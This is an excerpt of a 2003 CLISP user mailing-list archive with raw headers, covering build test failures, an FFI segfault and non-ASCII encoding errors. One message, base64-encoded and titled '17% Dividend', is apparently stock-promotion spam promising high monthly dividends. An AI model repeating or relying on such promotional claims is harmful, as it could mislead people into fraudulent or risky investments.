this is a known issue - Kaz Kylheku is working on it. type "make testsuite" and it will work. you can safely ignore it. > [why should i be building this module if my c library already has > wildcard anyway? same goes for regex] not everyone is running glibc. it would have been nice if the configuration process for regexp and wildcard detected that the necessary functionality if available in libc - patches are welcome. -- Sam Steingold (http://www.podval.org/~sds) running w2k Small languages require big programs, large languages enable small programs. From fommil@yahoo.ie Mon Jul 07 02:20:36 2003 Received: from smtp101.mail.sc5.yahoo.com ([216.136.174.139]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZSAm-0005s0-00 for ; Mon, 07 Jul 2003 02:20:36 -0700 Received: from 82-41-204-20.cable.ubr11.edin.blueyonder.co.uk (fommil@82.41.204.20 with login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 7 Jul 2003 09:20:35 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] catch 22 compiling clisp for maxima Message-Id: <20030707102028.5bf16a12.fommil@yahoo.ie> In-Reply-To: References: <20030705003758.6a456e27.fommil@yahoo.ie> X-Mailer: GNU/Linux Sylpheed Claws 0.9.0 X-Operating-System: GNU/Linux from Scratch Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="=.Qrpblb?zooIWH9" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 7 02:21:18 2003 X-Original-Date: Mon, 7 Jul 2003 10:20:28 +0100 --=.Qrpblb?zooIWH9 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sam Steingold wrote: > > i then downloaded the CVS version from today, and got THIS > > cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit > > 1) Test failed. > > make: *** [test] Error 1 > this is a known issue - Kaz Kylheku is working on it. > type "make testsuite" and it will work. > you can safely ignore it. (PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST (C-UNION (C1 (C-PTR CHARACTER)) (S (C-ARRAY-PTR CHARACTER)))) (OBJ (C-PTR (C-UNION (C CHARACTER) (B BOOLEAN) (P C-POINTER))) :IN-OUT)) (:RETURN-TYPE (C-PTR CHARACTER)) (:LANGUAGE :STDC)) (MULTIPLE-VALUE-LIST (C-SELF #\w #\j))) make[1]: *** [tests] Segmentation fault (core dumped) make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite' hmm... seems i am back to that good 'ol catch22 does anyone remember which patch fixed the 2.30 floating point issues? thats really all i'm after, since i feel a little odd using a math package which i know is compiled by a lisp with dodgy floating points... i am putting off installing maxima until i get a stable clisp cheers, Sam --=.Qrpblb?zooIWH9 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/CTtg3qTuwoWzAjMRArgzAJ9pUFb7SEXHoPYe6+kKuuthMTB53QCeJCxi CLoKiGb9pG/O5obIqhecen0= =dKr2 -----END PGP SIGNATURE----- --=.Qrpblb?zooIWH9-- From zimorgdjki@lycos.com Mon Jul 07 06:52:33 2003 Received: from [218.22.19.234] (helo=lycos.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZWPq-0008BG-00; Mon, 07 Jul 2003 06:52:29 -0700 Message-ID: <000210d3da43$dba80824$63603286@xpbasye.mpc> From: To: Cc: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00B0_75D60A8B.C3405E16" X-Priority: 3 X-Mailer: Microsoft Outlook Express 5.00.2919.6700 Importance: Normal Subject: [clisp-list] 17% Dividend Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 7 06:53:12 2003 X-Original-Date: Mon, 07 Jul 2003 02:41:33 +1100 ------=_NextPart_000_00B0_75D60A8B.C3405E16 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PEhUTUw+PEJPRFk+PEZPTlQgY29sb3I9I2ZmZmZmZj4gIGFjdXRlICwgc2V2 ZXJlICA8L0ZPTlQ+DQo8RElWPjxGT05UIGZhY2U9QXJpYWw+MTclIGRpdmlk ZW5kPyBJcyBpdCBwb3NzaWJsZT88L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05U IGZhY2U9QXJpYWw+PC9GT05UPiZuYnNwOzwvRElWPg0KPERJVj4mbmJzcDs8 L0RJVj4NCjxESVY+PEZPTlQgZmFjZT1BcmlhbD5EaWQgeW91IGtub3cgdGhh dCB0aGVyZSBpcyBhIGdyb3VwIG9mIHN0b2NrcyB0aGF0IGhhdmUgDQpjb25z aXN0YW50bHkgcGFpZCBmcm9tIDE1IHRvIDIwJSBpbiBhbm51YWwgZGl2aWRl bmRzPzwvRk9OVD48L0RJVj4NCjxESVY+Jm5ic3A7PC9ESVY+DQo8RElWPjxG T05UIGZhY2U9QXJpYWw+V2VsbCwgdGhlIHdvcmQgaXMgc3ByZWFkaW5nLi4u LjwvRk9OVD48L0RJVj4NCjxESVY+Jm5ic3A7PC9ESVY+DQo8RElWPjxGT05U IGZhY2U9QXJpYWwgY29sb3I9IzAwODAwMD5QVlg8QlI+TkNOPEJSPkVSRjxC Uj5UUlU8QlI+UEdIPC9GT05UPjwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4N CjxESVY+PEZPTlQgZmFjZT1BcmlhbD5BcmUgeW91IHRpcmVkIG9mIHJpZGlj dWxvdXNseSBsb3cgcmV0dXJuIG9uIGludmVzdG1lbnRzPyANClRoZW4gY2hl Y2sgb3V0IHRoZSBxdWFsaXR5IHN0b2NrcyBhYm92ZS48L0ZPTlQ+PC9ESVY+ DQo8RElWPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBmYWNlPUFyaWFsPlNv bWUgcGF5IGFzIG11Y2ggYXMgMjAlIGFubnVhbCBkaXZpZGVuZCwgcGFpZCBp biBNT05USExZIA0KZGlzdHJpYnV0aW9ucywgYW5kIGhhdmUgY29uc2lzdGFu dGx5IGZvciANCnllYXJzLjwvRk9OVD48L0RJVj48QlI+PEJSPjxCUj48QlI+ PEJSPjxCUj48QlI+PEJSPg0KPERJVj48Rk9OVCBmYWNlPUFyaWFsIGNvbG9y PSMwMDgwMDA+V291bGRuJ3QgaXQgYmUgZ3JlYXQgdG8gb3duIHN0b2NrcyB0 aGF0IA0KcGFpZCZuYnNwO3lvdSBhIG1vbnRobHkgaW5jb21lPzwvRk9OVD48 L0RJVj4NCjxESVY+PEZPTlQgDQpmYWNlPUFyaWFsPjxCUj48L0ZPTlQ+PC9E SVY+PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJSPjxC Uj48QlI+PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJSPjxCUj48QlI+PEJS PjxCUj48QlI+PEJSPjxCUj48QlI+DQpUaGlzIGlzIG5vdCBhIHNvbGljaXRh dGlvbiB0byBidXkgb3Igc2VsbCBhbnkgc3RvY2suIEFsd2F5cyBjb25zdWx0 IGFuIGludmVzdG1lbnQgDQpwcm9mZXNzaW9uYWwgYmVmb3JlIGludmVzdGlu Zy4gVGhpcyBlbWFpbCZuYnNwOyBpcyBmb3IgaW5mb3JtYXRpb25hbCBwdXJw b3NlcyANCm9ubHkuIFRoaXMgaXMgYSBvbmUgdGltZSBtYWlsaW5nLiBZb3Ug d2lsbCBub3QgcmVjaWV2ZSB0aGlzIA0KZW1haWwgYWdhaW4uPC9CT0RZPjwv SFRNTD4NCjM0MTNjVXhLMS0zNDBUeFdIMjg5MXRxdGU3LTBsMjY= From samuel.steingold@verizon.net Mon Jul 07 07:03:17 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZWXu-0001BE-00 for ; Mon, 07 Jul 2003 07:00:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h67E0a523208; Mon, 7 Jul 2003 10:00:37 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Sam Halliday Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] catch 22 compiling clisp for maxima References: <20030705003758.6a456e27.fommil@yahoo.ie> <20030707102028.5bf16a12.fommil@yahoo.ie> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030707102028.5bf16a12.fommil@yahoo.ie> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 7 07:04:12 2003 X-Original-Date: 07 Jul 2003 10:00:36 -0400 > * In message <20030707102028.5bf16a12.fommil@yahoo.ie> > * On the subject of "Re: [clisp-list] catch 22 compiling clisp for maxima" > * Sent on Mon, 7 Jul 2003 10:20:28 +0100 > * Honorable Sam Halliday writes: > > Sam Steingold wrote: > > > i then downloaded the CVS version from today, and got THIS > > > cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit > > > 1) Test failed. > > > make: *** [test] Error 1 > > this is a known issue - Kaz Kylheku is working on it. > > type "make testsuite" and it will work. > > you can safely ignore it. > (PROGN (DEF-CALL-OUT C-SELF (:NAME "ffi_identity") (:ARGUMENTS (FIRST > (C-UNION (C1 (C-PTR CHARACTER)) (S (C-ARRAY-PTR CHARACTER)))) (OBJ > (C-PTR (C-UNION (C CHARACTER) (B BOOLEAN) (P C-POINTER))) :IN-OUT)) > (:RETURN-TYPE (C-PTR CHARACTER)) (:LANGUAGE :STDC)) (MULTIPLE-VALUE-LIST > (C-SELF #\w #\j))) > make[1]: *** [tests] Segmentation fault (core dumped) > make[1]: Leaving directory `/home/LFS/TODO/maxima/clisp/src/suite' This is FFI, it should not concern you either. Joerg Hoehle is working on this. -- Sam Steingold (http://www.podval.org/~sds) running w2k Let us remember that ours is a nation of lawyers and order. From sfarregu@inf.uc3m.es Tue Jul 08 07:08:53 2003 Received: from smtp02.uc3m.es ([163.117.136.122] helo=smtp.uc3m.es) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Zt9H-0001GZ-00 for ; Tue, 08 Jul 2003 07:08:51 -0700 Received: from smtp02.uc3m.es (localhost [127.0.0.1]) by smtp.uc3m.es (Postfix) with ESMTP id 196674312C for ; Tue, 8 Jul 2003 16:08:44 +0200 (CEST) Received: from inf.uc3m.es (isolda.uc3m.es [163.117.129.75]) by smtp02.uc3m.es (Postfix) with ESMTP id CFD5599FC4 for ; Tue, 8 Jul 2003 16:08:43 +0200 (CEST) Message-ID: <3F0AD0A8.4070607@inf.uc3m.es> From: =?windows-1252?Q?Susana_Fern=3Fndez_Arregui?= User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20021122 Debian/1.0.1-2 X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] FAQ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 07:09:16 2003 X-Original-Date: Tue, 08 Jul 2003 16:09:44 +0200 When I try to load a file with Spanish characters (?, ?, ?, ?, ? or ?) the following error message appears: *** - invalid byte #xF3 in CHARSET:ASCII conversion In the Troubles section said: "This means that you are trying to read ("invalid byte") or write ("character cannot be represented") a non-ASCII character from (or to) a character stream which has ASCII STREAM-EXTERNAL-FORMAT. The default is described in The Fine Manual." so, I've added in the $HOME/.clisprc.lisp: #+unicode (setf custom:*default-file-encoding* (ext:make-encoding :charset "ISO-8859-1" :line-terminator :unix)) but the error remains. I have LINUX (Debian). Is there any solution for this problem? Thank you, From samuel.steingold@verizon.net Tue Jul 08 07:36:05 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZtZc-0004Ik-00 for ; Tue, 08 Jul 2003 07:36:04 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h68EZj506966; Tue, 8 Jul 2003 10:35:46 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: =?windows-1252?Q?Susana_Fern=3Fndez_Arregui?= Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FAQ References: <3F0AD0A8.4070607@inf.uc3m.es> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3F0AD0A8.4070607@inf.uc3m.es> Message-ID: Lines: 16 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 07:37:01 2003 X-Original-Date: 08 Jul 2003 10:35:45 -0400 > * In message <3F0AD0A8.4070607@inf.uc3m.es> > * On the subject of "[clisp-list] FAQ" > * Sent on Tue, 08 Jul 2003 16:09:44 +0200 > * Honorable =?windows-1252?Q?Susana_Fern=3Fndez_Arregui?= writes: > > *** - invalid byte #xF3 in CHARSET:ASCII conversion please give us a specific transcript of what you do. what commands? in what order? -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: Serious empowerment. From traverso@posso.dm.unipi.it Tue Jul 08 09:52:24 2003 Received: from posso.dm.unipi.it ([131.114.6.61] ident=[c1b+y3/dYKk9d5DIm6ZuX0jEYn2mU6Fx]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZvhW-0003rF-00 for ; Tue, 08 Jul 2003 09:52:22 -0700 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id h68GqFh20157; Tue, 8 Jul 2003 18:52:15 +0200 Message-Id: <200307081652.h68GqFh20157@posso.dm.unipi.it> From: Carlo Traverso To: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 08 Jul 2003 10:35:45 -0400) Subject: Re: [clisp-list] FAQ Reply-To: traverso@dm.unipi.it References: <3F0AD0A8.4070607@inf.uc3m.es> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 09:53:11 2003 X-Original-Date: Tue, 8 Jul 2003 18:52:15 +0200 A somehow connected problem: if I have in my home directory a file whose name contains an 8-bit, non-ASCII character (in my case it was an ISO--8859-1 #\LATIN_SMALL_LETTER_E_WITH_ACUTE ) and no .cshrc file, I get (before the prompt) the error *** - invalid byte sequence #xE9 #x72 #x61 in CHARSET:UTF-8 conversion 1. Break [1]> The problem disappears with a .clisprc file or with clisp -norc , so it should be a directory search done in unicode. Carlo Traverso From samuel.steingold@verizon.net Tue Jul 08 10:10:48 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZvzK-00067P-00 for ; Tue, 08 Jul 2003 10:10:46 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h68HAb507246; Tue, 8 Jul 2003 13:10:38 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: traverso@dm.unipi.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FAQ References: <3F0AD0A8.4070607@inf.uc3m.es> <200307081652.h68GqFh20157@posso.dm.unipi.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200307081652.h68GqFh20157@posso.dm.unipi.it> Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 10:11:19 2003 X-Original-Date: 08 Jul 2003 13:10:37 -0400 > * In message <200307081652.h68GqFh20157@posso.dm.unipi.it> > * On the subject of "Re: [clisp-list] FAQ" > * Sent on Tue, 8 Jul 2003 18:52:15 +0200 > * Honorable Carlo Traverso writes: > > A somehow connected problem: > > if I have in my home directory a file whose name contains an 8-bit, > non-ASCII character (in my case it was an ISO--8859-1 > #\LATIN_SMALL_LETTER_E_WITH_ACUTE ) and no .cshrc file, I get (before > the prompt) the error > > *** - invalid byte sequence #xE9 #x72 #x61 in CHARSET:UTF-8 conversion > 1. Break [1]> > > The problem disappears with a .clisprc file or with clisp -norc , so > it should be a directory search done in unicode. of course. CLISP looks for .clisprc and this means calling DIRECTORY. if .clisprc appears before the non-ASCII file, you are fine. the solution: -- Sam Steingold (http://www.podval.org/~sds) running w2k Sufficiently advanced stupidity is indistinguishable from malice. From traverso@posso.dm.unipi.it Tue Jul 08 10:56:38 2003 Received: from posso.dm.unipi.it ([131.114.6.61] ident=[yWsgxx3UnyFfGe80aDQjwJL/UmUojp9M]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Zwhg-0004lj-00 for ; Tue, 08 Jul 2003 10:56:36 -0700 Received: (from traverso@localhost) by posso.dm.unipi.it (8.11.6/8.11.6) id h68HuSL23492; Tue, 8 Jul 2003 19:56:28 +0200 Message-Id: <200307081756.h68HuSL23492@posso.dm.unipi.it> From: Carlo Traverso To: sds@gnu.org CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 08 Jul 2003 13:10:37 -0400) Subject: Re: [clisp-list] FAQ Reply-To: traverso@dm.unipi.it References: <3F0AD0A8.4070607@inf.uc3m.es> <200307081652.h68GqFh20157@posso.dm.unipi.it> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 10:57:04 2003 X-Original-Date: Tue, 8 Jul 2003 19:56:28 +0200 >>>>> "Sam" == Sam Steingold writes: >> * In message <200307081652.h68GqFh20157@posso.dm.unipi.it> * On >> the subject of "Re: [clisp-list] FAQ" * Sent on Tue, 8 Jul 2003 >> 18:52:15 +0200 * Honorable Carlo Traverso >> writes: >> >> A somehow connected problem: >> >> if I have in my home directory a file whose name contains an >> 8-bit, non-ASCII character (in my case it was an ISO--8859-1 >> #\LATIN_SMALL_LETTER_E_WITH_ACUTE ) and no .cshrc file, I get >> (before the prompt) the error >> >> *** - invalid byte sequence #xE9 #x72 #x61 in CHARSET:UTF-8 >> conversion 1. Break [1]> >> >> The problem disappears with a .clisprc file or with clisp -norc >> , so it should be a directory search done in unicode. Sam> of course. CLISP looks for .clisprc and this means calling Sam> DIRECTORY. if .clisprc appears before the non-ASCII file, Sam> you are fine. Sam> the solution: Sam> Why a DIRECTORY, and not a PROBE-FILE? This could avoid a catch-22 situation (you cannot set the encoding in .clisprc before it is read - of course you can on the command line, but avoiding the error should be better). Carlo From samuel.steingold@verizon.net Tue Jul 08 11:08:28 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19Zwt6-0007nG-00 for ; Tue, 08 Jul 2003 11:08:25 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h68I8G518409; Tue, 8 Jul 2003 14:08:16 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: traverso@dm.unipi.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FAQ References: <3F0AD0A8.4070607@inf.uc3m.es> <200307081652.h68GqFh20157@posso.dm.unipi.it> <200307081756.h68HuSL23492@posso.dm.unipi.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200307081756.h68HuSL23492@posso.dm.unipi.it> Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 11:09:06 2003 X-Original-Date: 08 Jul 2003 14:08:16 -0400 > * In message <200307081756.h68HuSL23492@posso.dm.unipi.it> > * On the subject of "Re: [clisp-list] FAQ" > * Sent on Tue, 8 Jul 2003 19:56:28 +0200 > * Honorable Carlo Traverso writes: > > >>>>> "Sam" == Sam Steingold writes: > > Sam> of course. CLISP looks for .clisprc and this means calling > Sam> DIRECTORY. if .clisprc appears before the non-ASCII file, > Sam> you are fine. > > Sam> the solution: > Sam> > > Why a DIRECTORY, and not a PROBE-FILE? This could avoid a catch-22 > situation (you cannot set the encoding in .clisprc before it is read - > of course you can on the command line, but avoiding the error should > be better). because LOAD has to search *LOAD-PATH*. see SEARCH-FILE in init.lisp for details. -- Sam Steingold (http://www.podval.org/~sds) running w2k Binaries die but source code lives forever. From samuel.steingold@verizon.net Tue Jul 08 11:43:47 2003 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZxRI-0006jz-00 for ; Tue, 08 Jul 2003 11:43:44 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h68IhZ524728; Tue, 8 Jul 2003 14:43:36 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Sam Halliday Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] catch 22 compiling clisp for maxima References: <20030705003758.6a456e27.fommil@yahoo.ie> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20030705003758.6a456e27.fommil@yahoo.ie> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 12:12:22 2003 X-Original-Date: 08 Jul 2003 14:43:35 -0400 > * In message <20030705003758.6a456e27.fommil@yahoo.ie> > * On the subject of "[clisp-list] catch 22 compiling clisp for maxima" > * Sent on Sat, 5 Jul 2003 00:37:58 +0100 > * Honorable Sam Halliday writes: > > cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit 1) > Test failed. > make: *** [test] Error 1 I think I fixed this in the CVS. Please try again. -- Sam Steingold (http://www.podval.org/~sds) running w2k Our business is run on trust. We trust you will pay in advance. From fommil@yahoo.ie Tue Jul 08 12:06:40 2003 Received: from smtp011.mail.yahoo.com ([216.136.173.31]) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZxnR-0004fm-00 for ; Tue, 08 Jul 2003 12:06:37 -0700 Received: from 82-41-201-88.cable.ubr11.edin.blueyonder.co.uk (fommil@82.41.201.88 with login) by smtp.mail.vip.sc5.yahoo.com with SMTP; 8 Jul 2003 19:06:36 -0000 From: Sam Halliday To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] catch 22 compiling clisp for maxima Message-Id: <20030708200634.1a6424f1.fommil@yahoo.ie> In-Reply-To: References: <20030705003758.6a456e27.fommil@yahoo.ie> X-Mailer: GNU/Linux Sylpheed Claws 0.9.0 X-Operating-System: GNU/Linux from Scratch Mime-Version: 1.0 Content-Type: multipart/signed; protocol="application/pgp-signature"; micalg="pgp-sha1"; boundary="=.5z+taA_387ejuw" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 12:16:48 2003 X-Original-Date: Tue, 8 Jul 2003 20:06:34 +0100 --=.5z+taA_387ejuw Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sam Steingold wrote: > > cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit > > 1) Test failed. > > make: *** [test] Error 1 > I think I fixed this in the CVS. sorry... cmp -s format.fas stage/format.fas || (echo "Test failed." ; exit 1) Test failed. is it just me, or are the sourceforge cvs servers always stressed to their limits? i got about 10 "end of file from server" messages on login as anonymous. on savannah, ive never had this; as either anonymous or as a user. how stable is cvs compared with clisp-2.30? ive looked through the archives to try and find a fix for the floating point issues in 2.30 (i am assuming they have been fixed?), but haven't been able to come across them.. does anyone have any pointers? cheers, Sam --=.5z+taA_387ejuw Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE/CxY63qTuwoWzAjMRAqADAJwPjKh8Z6q3gUFYgb0aEj0O77lsDwCfYCy/ kwFDr4lynM8YPDoQj9osCP0= =/KTL -----END PGP SIGNATURE----- --=.5z+taA_387ejuw-- From lisp-clisp-list@m.gmane.org Tue Jul 08 12:52:19 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ZyVd-0005j1-00 for ; Tue, 08 Jul 2003 12:52:18 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19ZySC-00035w-00 for ; Tue, 08 Jul 2003 21:48:44 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19ZyQO-0002z1-00 for ; Tue, 08 Jul 2003 21:46:52 +0200 From: Sam Steingold Organization: disorganization Lines: 132 Message-ID: References: <20030705003758.6a456e27.fommil@yahoo.ie> <20030708200634.1a6424f1.fommil@yahoo.ie> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 Subject: [clisp-list] Re: catch 22 compiling clisp for maxima Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 8 12:53:23 2003 X-Original-Date: 08 Jul 2003 15:47:33 -0400 > * In message 